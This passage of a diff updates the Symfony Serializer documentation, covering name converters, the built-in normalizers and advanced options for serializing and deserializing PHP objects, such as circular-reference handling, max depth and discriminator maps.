+        $nameConverter = new MetadataAwareNameConverter($classMetadataFactory);
+        $normalizers = [
+            new ObjectNormalizer($classMetadataFactory, $nameConverter),
+        ];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"customer_name":"Jane Doe", ...}
+
+.. seealso::
+
+    You can also create a custom name converter class. Read more about this
+    in :doc:`/serializer/custom_name_converter`.
+
+.. _using-camelized-method-names-for-underscored-attributes:
+
+CamelCase to snake_case
+~~~~~~~~~~~~~~~~~~~~~~~
+
+In many formats, it's common to use underscores to separate words (also known
+as snake_case). However, in Symfony applications is common to use camelCase to
+name properties.
+
+Symfony provides a built-in name converter designed to transform between
+snake_case and CamelCased styles during serialization and deserialization
+processes. You can use it instead of the metadata aware name converter by
+setting the ``name_converter`` setting to
+``serializer.name_converter.camel_case_to_snake_case``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                name_converter: 'serializer.name_converter.camel_case_to_snake_case'
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer
+                    name-converter="serializer.name_converter.camel_case_to_snake_case"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->nameConverter('serializer.name_converter.camel_case_to_snake_case')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+
+        // ...
+        $normalizers = [
+            new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter()),
+        ];
+        $serializer = new Serializer($normalizers, $encoders);
+
+.. _serializer-built-in-normalizers:
+
+Serializer Normalizers
+----------------------
+
+By default, the serializer service is configured with the following
+normalizers (in order of priority):
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer`
+    Can be used to only denormalize a part of the input, read more about
+    this :ref:`later in this article <serializer-unwrapping-denormalizer>`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
+    Normalizes :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`
+    errors according to the API Problem spec `RFC 7807`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
+    Normalizes objects that extend :class:`Symfony\\Component\\Uid\\AbstractUid`.
+
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
+    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
+    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
+    You can change the string format by setting the serializer context option
+    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
+    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
+
+    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
+    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
+    This normalizes between :phpclass:`DateTimeInterface` objects (e.g.
+    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) and strings,
+    integers or floats.
+
+    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings,
+    integers or floats. By default, it converts them to strings using the
+    `RFC 3339`_ format. Use ``DateTimeNormalizer::FORMAT_KEY`` and
+    ``DateTimeNormalizer::TIMEZONE_KEY`` to change the format.
+
+    To convert the objects to integers or floats, set the serializer
+    context option ``DateTimeNormalizer::CAST_KEY`` to ``int`` or
+    ``float``.
+
+    .. versionadded:: 7.1
+
+        The ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
+    This normalizer converts objects that implement
+    :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
+    into a list of errors according to the `RFC 7807`_ standard.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
+    This normalizer converts between :phpclass:`DateTimeZone` objects and strings that
+    represent the name of the timezone according to the `list of PHP timezones`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
+    This normalizes between :phpclass:`DateInterval` objects and strings.
+    By default, the ``P%yY%mM%dDT%hH%iM%sS`` format is used. Use the
+    ``DateIntervalNormalizer::FORMAT_KEY`` option to change this.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
+    This normalizer works with classes that implement
+    :class:`Symfony\\Component\\Form\\FormInterface`.
+
+    It will get errors from the form and normalize them according to the
+    API Problem spec `RFC 7807`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
+    This normalizer converts objects implementing :class:`Symfony\\Contracts\\Translation\\TranslatableInterface`
+    to a translated string using the :doc:`translator </translation>`.
+
+    You can define the locale to use to translate the object by setting the
+    ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` context option.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+    This normalizer converts between :phpclass:`BackedEnum` enums and
+    strings or integers.
+
+    By default, an exception is thrown when data is not a valid backed enumeration. If you
+    want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
+    This normalizer converts between :phpclass:`SplFileInfo` objects and a
+    `data URI`_ string (``data:...``) such that files can be embedded into
+    serialized data.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
+    This normalizer works with classes that implement :phpclass:`JsonSerializable`.
+
+    It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and
+    then further normalize the result. This means that nested
+    :phpclass:`JsonSerializable` classes will also be normalized.
+
+    This normalizer is particularly helpful when you want to gradually migrate
+    from an existing codebase using simple :phpfunction:`json_encode` to the Symfony
+    Serializer by allowing you to mix which normalizers are used for which classes.
+
+    Unlike with :phpfunction:`json_encode` circular references can be handled.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
+    This denormalizer converts an array of arrays to an array of objects
+    (with the given type). See :ref:`Handling Arrays <serializer-handling-arrays>`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
+    This is the most powerful default normalizer and used for any object
+    that could not be normalized by the other normalizers.
+
+    It leverages the :doc:`PropertyAccess Component </components/property_access>`
+    to read and write in the object. This allows it to access properties
+    directly or using getters, setters, hassers, issers, canners, adders and
+    removers. Names are generated by removing the ``get``, ``set``,
+    ``has``, ``is``, ``add`` or ``remove`` prefix from the method name and
+    transforming the first letter to lowercase (e.g. ``getFirstName()`` ->
+    ``firstName``).
+
+    During denormalization, it supports using the constructor as well as
+    the discovered methods.
+
+.. danger::
+
+    Always make sure the ``DateTimeNormalizer`` is registered when
+    serializing the ``DateTime`` or ``DateTimeImmutable`` classes to avoid
+    excessive memory usage and exposing internal details.
+
+Built-in Normalizers
+~~~~~~~~~~~~~~~~~~~~
+
+Besides the normalizers registered by default (see previous section), the
+serializer component also provides some extra normalizers.You can register
+these by defining a service and tag it with :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
+For instance, to use the ``CustomNormalizer`` you have to define a service
+like:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            # if you're using autoconfigure, the tag will be automatically applied
+            Symfony\Component\Serializer\Normalizer\CustomNormalizer:
+                tags:
+                    # register the normalizer with a high priority (called earlier)
+                    - { name: 'serializer.normalizer', priority: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- if you're using autoconfigure, the tag will be automatically applied -->
+                <service id="Symfony\Component\Serializer\Normalizer\CustomNormalizer">
+                    <!-- register the normalizer with a high priority (called earlier) -->
+                    <tag name="serializer.normalizer"
+                        priority="500"
+                    />
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Serializer\Normalizer\CustomNormalizer;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            // if you're using autoconfigure, the tag will be automatically applied
+            $services->set(CustomNormalizer::class)
+                // register the normalizer with a high priority (called earlier)
+                ->tag('serializer.normalizer', [
+                    'priority' => 500,
+                ])
+            ;
+        };
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
+    This normalizer calls a method on the PHP object when normalizing. The
+    PHP object must implement :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
+    and/or :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
+    This normalizer is an alternative to the default ``ObjectNormalizer``.
+    It reads the content of the class by calling the "getters" (public
+    methods starting with ``get``, ``has``, ``is`` or ``can``). It will
+    denormalize data by calling the constructor and the "setters" (public
+    methods starting with ``set``).
+
+    Objects are normalized to a map of property names and values (names are
+    generated by removing the ``get`` prefix from the method name and transforming
+    the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``).
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
+    This is yet another alternative to the ``ObjectNormalizer``. This
+    normalizer directly reads and writes public properties as well as
+    **private and protected** properties (from both the class and all of
+    its parent classes) by using `PHP reflection`_. It supports calling the
+    constructor during the denormalization process.
+
+    Objects are normalized to a map of property names to property values.
+
+    You can also limit the normalizer to only use properties with a specific
+    visibility (e.g. only public properties) using the
+    ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option. You can set it
+    to any combination of the ``PropertyNormalizer::NORMALIZE_PUBLIC``,
+    ``PropertyNormalizer::NORMALIZE_PROTECTED`` and
+    ``PropertyNormalizer::NORMALIZE_PRIVATE`` constants::
+
+        use Symfony\Component\Serializer\Normalizer\PropertyNormalizer;
+        // ...
+
+        $json = $serializer->serialize($person, 'json', [
+            // only serialize public properties
+            PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC,
+
+            // serialize public and protected properties
+            PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC | PropertyNormalizer::NORMALIZE_PROTECTED,
+        ]);
+
+Debugging the Serializer
+------------------------
+
+Use the ``debug:serializer`` command to dump the serializer metadata of a
+given class:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:serializer 'App\Entity\Book'
+
+        App\Entity\Book
+        ---------------
+
+        +----------+------------------------------------------------------------+
+        | Property | Options                                                    |
+        +----------+------------------------------------------------------------+
+        | name     | [                                                          |
+        |          |   "groups" => [                                            |
+        |          |       "book:read",                                         |
+        |          |       "book:write",                                        |
+        |          |   ],                                                       |
+        |          |   "maxDepth" => 1,                                         |
         |          |   "serializedName" => "book_name",                         |
         |          |   "serializedPath" => null,                                |
         |          |   "ignore" => false,                                       |
@@ -539,42 +1506,637 @@ given class:
         |          |   ],                                                       |
         |          |   "maxDepth" => null,                                      |
         |          |   "serializedName" => null,                                |
-        |          |   "serializedPath" => [data][isbn],                        |
+        |          |   "serializedPath" => "[data][isbn]",                      |
         |          |   "ignore" => false,                                       |
         |          |   "normalizationContexts" => [],                           |
         |          |   "denormalizationContexts" => []                          |
         |          | ]                                                          |
         +----------+------------------------------------------------------------+
 
-Going Further with the Serializer
----------------------------------
+Advanced Serialization
+----------------------
+
+Skipping ``null`` Values
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the Serializer will preserve properties containing a ``null`` value.
+You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option
+to ``true``::
+
+    class Person
+    {
+        public string $name = 'Jane Doe';
+        public ?string $gender = null;
+    }
+
+    $jsonContent = $serializer->serialize(new Person(), 'json', [
+        AbstractObjectNormalizer::SKIP_NULL_VALUES => true,
+    ]);
+    // $jsonContent contains {"name":"Jane Doe"}
+
+Handling Uninitialized Properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In PHP, typed properties have an ``uninitialized`` state which is different
+from the default ``null`` of untyped properties. When you try to access a typed
+property before giving it an explicit value, you get an error.
+
+To avoid the serializer throwing an error when serializing or normalizing
+an object with uninitialized properties, by default the ``ObjectNormalizer``
+catches these errors and ignores such properties.
+
+You can disable this behavior by setting the
+``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option to
+``false``::
+
+    class Person {
+        public string $name = 'Jane Doe';
+        public string $phoneNumber; // uninitialized
+    }
+
+    $jsonContent = $normalizer->serialize(new Dummy(), 'json', [
+        AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false,
+    ]);
+    // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException
+    // as the ObjectNormalizer cannot read uninitialized properties
+
+.. note::
+
+    Using :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
+    or :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
+    with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context
+    option set to ``false`` will throw an ``\Error`` instance if the given
+    object has uninitialized properties as the normalizers cannot read them
+    (directly or via getter/isser methods).
+
+.. _component-serializer-handling-circular-references:
+
+Handling Circular References
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Circular references are common when dealing with associated objects::
+
+    class Organization
+    {
+        public function __construct(
+            private string $name,
+            private array $members = []
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function addMember(Member $member): void
+        {
+            $this->members[] = $member;
+        }
+
+        public function getMembers(): array
+        {
+            return $this->members;
+        }
+    }
+
+    class Member
+    {
+        private Organization $organization;
+
+        public function __construct(
+            private string $name
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function setOrganization(Organization $organization): void
+        {
+            $this->organization = $organization;
+        }
+
+        public function getOrganization(): Organization
+        {
+            return $this->organization;
+        }
+    }
+
+To avoid infinite loops, the normalizers throw a
+:class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException`
+when such a case is encountered::
+
+    $organization = new Organization('Les-Tilleuls.coop');
+    $member = new Member('Kévin');
+
+    $organization->addMember($member);
+    $member->setOrganization($organization);
+
+    $jsonContent = $serializer->serialize($organization, 'json');
+    // throws a CircularReferenceException
+
+The key ``circular_reference_limit`` in the context sets the number of
+times it will serialize the same object before considering it a circular
+reference. The default value is ``1``.
+
+Instead of throwing an exception, circular references can also be handled
+by custom callables. This is especially useful when serializing entities
+having unique identifiers::
+
+    use Symfony\Component\Serializer\Exception\CircularReferenceException;
+
+    $context = [
+        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string {
+            if (!$object instanceof Organization) {
+                throw new CircularReferenceException('A circular reference has been detected when serializing the object of class "'.get_debug_type($object).'".');
+            }
+
+            // serialize the nested Organization with only the name (and not the members)
+            return $object->getName();
+        },
+    ];
+
+    $jsonContent = $serializer->serialize($organization, 'json', $context);
+    // $jsonContent contains {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]}
+
+.. _serializer_handling-serialization-depth:
+
+Handling Serialization Depth
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer can also detect nested objects of the same class and limit
+the serialization depth. This is useful for tree structures, where the same
+object is nested multiple times.
+
+For instance, assume a data structure of a family tree::
+
+    // ...
+    class Person
+    {
+        // ...
+
+        public function __construct(
+            private string $name,
+            private ?self $mother
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function getMother(): ?self
+        {
+            return $this->mother;
+        }
+
+        // ...
+    }
+
+    // ...
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
+
+You can specify the maximum depth for a given property. For instance, you
+can set the max depth to ``1`` to always only serialize someone's mother
+(and not their grandmother, etc.):
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\MaxDepth;
+
+        class Person
+        {
+            #[MaxDepth(1)]
+            private ?self $mother;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                mother:
+                    max_depth: 1
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="mother" max-depth="1"/>
+            </class>
+        </serializer>
+
+To limit the serialization depth, you must set the
+``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key to ``true`` in the
+context (or the default context specified in ``framework.yaml``)::
+
+    // ...
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
+
+    $jsonContent = $serializer->serialize($child, null, [
+        AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true
+    ]);
+    // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie"}}
+
+You can also configure a custom callable that is used when the maximum
+depth is reached. This can be used to for instance return the unique
+identifier of the next nested object, instead of omitting the property::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
+    // ...
+
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
 
-`API Platform`_ provides an API system supporting the following formats:
+    // all callback parameters are optional (you can omit the ones you don't use)
+    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): ?string {
+        // return only the name of the next person in the tree
+        return $innerObject instanceof Person ? $innerObject->getName() : null;
+    };
 
-* `JSON-LD`_ along with the `Hydra Core Vocabulary`_
-* `OpenAPI`_ v2 (formerly Swagger) and v3
-* `GraphQL`_
-* `JSON:API`_
-* `HAL`_
-* JSON
-* XML
-* YAML
-* CSV
+    $jsonContent = $serializer->serialize($child, null, [
+        AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
+        AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler,
+    ]);
+    // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie","mother":"Jane"}}
+
+Using Callbacks to Serialize Properties with Object Instances
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When serializing, you can set a callback to format a specific object
+property. This can be used instead of
+:ref:`defining the context for a group <serializer-context-group>`::
+
+    $person = new Person('cordoval', 34);
+    $person->setCreatedAt(new \DateTime('now'));
+
+    $context = [
+        AbstractNormalizer::CALLBACKS => [
+            // all callback parameters are optional (you can omit the ones you don't use)
+            'createdAt' => function (object $attributeValue, object $object, string $attributeName, ?string $format = null, array $context = []) {
+                return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : '';
+            },
+        ],
+    ];
+    $jsonContent = $serializer->serialize($person, 'json', $context);
+    // $jsonContent contains {"name":"cordoval","age":34,"createdAt":"2014-03-22T09:43:12-0500"}
+
+Advanced Deserialization
+------------------------
+
+Require all Properties
+~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the Serializer will add ``null`` to nullable properties when
+the parameters for those are not provided. You can change this behavior by
+setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option
+to ``true``::
+
+    class Person
+    {
+        public function __construct(
+            public string $firstName,
+            public ?string $lastName,
+        ) {
+        }
+    }
+
+    // ...
+    $data = ['firstName' => 'John'];
+    $person = $serializer->deserialize($data, Person::class, 'json', [
+        AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true,
+    ]);
+    // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
+
+Collecting Type Errors While Denormalizing
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When denormalizing a payload to an object with typed properties, you'll get an
+exception if the payload contains properties that don't have the same type as
+the object.
+
+Use the ``COLLECT_DENORMALIZATION_ERRORS`` option to collect all exceptions
+at once, and to get the object partially denormalized::
+
+    try {
+        $person = $serializer->deserialize($jsonString, Person::class, 'json', [
+            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
+        ]);
+    } catch (PartialDenormalizationException $e) {
+        $violations = new ConstraintViolationList();
+
+        /** @var NotNormalizableValueException $exception */
+        foreach ($e->getErrors() as $exception) {
+            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
+            $parameters = [];
+            if ($exception->canUseMessageForUser()) {
+                $parameters['hint'] = $exception->getMessage();
+            }
+            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
+        }
+
+        // ... return violation list to the user
+    }
+
+.. _serializer-populate-existing-object:
+
+Deserializing in an Existing Object
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer can also be used to update an existing object. You can do
+this by configuring the ``object_to_populate`` serializer context option::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+
+    // ...
+    $person = new Person('Jane Doe', 59);
+
+    $serializer->deserialize($jsonData, Person::class, 'json', [
+        AbstractNormalizer::OBJECT_TO_POPULATE => $person,
+    ]);
+    // instead of returning a new object, $person is updated instead
+
+.. note::
+
+    The ``AbstractNormalizer::OBJECT_TO_POPULATE`` option is only used for
+    the top level object. If that object is the root of a tree structure,
+    all child elements that exist in the normalized data will be re-created
+    with new instances.
+
+    When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` context
+    option is set to ``true``, existing children of the root ``OBJECT_TO_POPULATE``
+    are updated from the normalized data, instead of the denormalizer
+    re-creating them. This only works for single child objects, not for
+    arrays of objects. Those will still be replaced when present in the
+    normalized data.
+
+.. _serializer_interfaces-and-abstract-classes:
+
+Deserializing Interfaces and Abstract Classes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When working with associated objects, a property sometimes reference an
+interface or abstract class. When deserializing these properties, the
+Serializer has to know which concrete class to initialize. This is done
+using a *discriminator class mapping*.
+
+Imagine there is an ``InvoiceItemInterface`` that is implemented by the
+``Product`` and ``Shipping`` objects. When serializing an object, the
+serializer will add an extra "discriminator attribute". This contains
+either ``product`` or ``shipping``. The discriminator class map maps
+these type names to the real PHP class name when deserializing:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\DiscriminatorMap;
+
+        #[DiscriminatorMap(
+            typeProperty: 'type',
+            mapping: [
+                'product' => Product::class,
+                'shipping' => Shipping::class,
+            ]
+        )]
+        interface InvoiceItemInterface
+        {
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        App\Model\InvoiceItemInterface:
+            discriminator_map:
+                type_property: type
+                mapping:
+                    product: 'App\Model\Product'
+                    shipping: 'App\Model\Shipping'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\InvoiceItemInterface">
+                <discriminator-map type-property="type">
+                    <mapping type="product" class="App\Model\Product"/>
+                    <mapping type="shipping" class="App\Model\Shipping"/>
+                </discriminator-map>
+            </class>
+        </serializer>
+
+With the discriminator map configured, the serializer can now pick the
+correct class for properties typed as ``InvoiceItemInterface``::
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        class InvoiceLine
+        {
+            public function __construct(
+                private InvoiceItemInterface $invoiceItem
+            ) {
+                $this->invoiceItem = $invoiceItem;
+            }
+
+            public function getInvoiceItem(): InvoiceItemInterface
+            {
+                return $this->invoiceItem;
+            }
+
+            // ...
+        }
+
+        // ...
+        $invoiceLine = new InvoiceLine(new Product());
+
+        $jsonString = $serializer->serialize($invoiceLine, 'json');
+        // $jsonString contains {"type":"product",...}
+
+        $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json');
+        // $invoiceLine contains new InvoiceLine(new Product(...))
+
+    .. code-block:: php-standalone
+
+        // ...
+        use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        class InvoiceLine
+        {
+            public function __construct(
+                private InvoiceItemInterface $invoiceItem
+            ) {
+                $this->invoiceItem = $invoiceItem;
+            }
+
+            public function getInvoiceItem(): InvoiceItemInterface
+            {
+                return $this->invoiceItem;
+            }
+
+            // ...
+        }
+
+        // ...
+
+        // Configure a loader to retrieve mapping information like DiscriminatorMap.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory);
+        $normalizers = [
+            new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator),
+        ];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $invoiceLine = new InvoiceLine(new Product());
+
+        $jsonString = $serializer->serialize($invoiceLine, 'json');
+        // $jsonString contains {"type":"product",...}
+
+        $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json');
+        // $invoiceLine contains new InvoiceLine(new Product(...))
+
+.. _serializer-unwrapping-denormalizer:
+
+Deserializing Input Partially (Unwrapping)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer will always deserialize the complete input string into PHP
+values. When connecting with third party APIs, you often only need a
+specific part of the returned response.
+
+To avoid deserializing the whole response, you can use the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer`
+and "unwrap" the input data::
 
-It is built on top of the Symfony Framework and its Serializer
-component. It provides custom normalizers and a custom encoder, custom metadata
-and a caching system.
+    $jsonData = '{"result":"success","data":{"person":{"name": "Jane Doe","age":57}}}';
+    $data = $serialiser->deserialize($jsonData, Object::class, [
+        UnwrappingDenormalizer::UNWRAP_PATH => '[data][person]',
+    ]);
+    // $data is Person(name: 'Jane Doe', age: 57)
+
+The ``unwrap_path`` is a :ref:`property path <property-access-reading-arrays>`
+of the PropertyAccess component, applied on the denormalized array.
+
+Handling Constructor Arguments
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If the class constructor defines arguments, as usually happens with
+`Value Objects`_, the serializer will match the parameter names with the
+deserialized attributes. If some parameters are missing, a
+:class:`Symfony\\Component\\Serializer\\Exception\\MissingConstructorArgumentsException`
+is thrown.
+
+In these cases, use the ``default_constructor_arguments`` context option to
+define default values for the missing parameters::
+
+    use App\Model\Person;
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
+
+    $jsonData = '{"age":39,"name":"Jane Doe"}';
+    $person = $serializer->deserialize($jsonData, Person::class, 'json', [
+        AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [
+            Person::class => ['sportsperson' => true],
+        ],
+    ]);
+    // $person is Person(name: 'Jane Doe', age: 39, sportsperson: true);
+
+Recursive Denormalization and Type Safety
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a ``PropertyTypeExtractor`` is available, the normalizer will also
+check that the data to denormalize matches the type of the property (even
+for primitive types). For instance, if a ``string`` is provided, but the
+type of the property is ``int``, an
+:class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException`
+will be thrown. The type enforcement of the properties can be disabled by
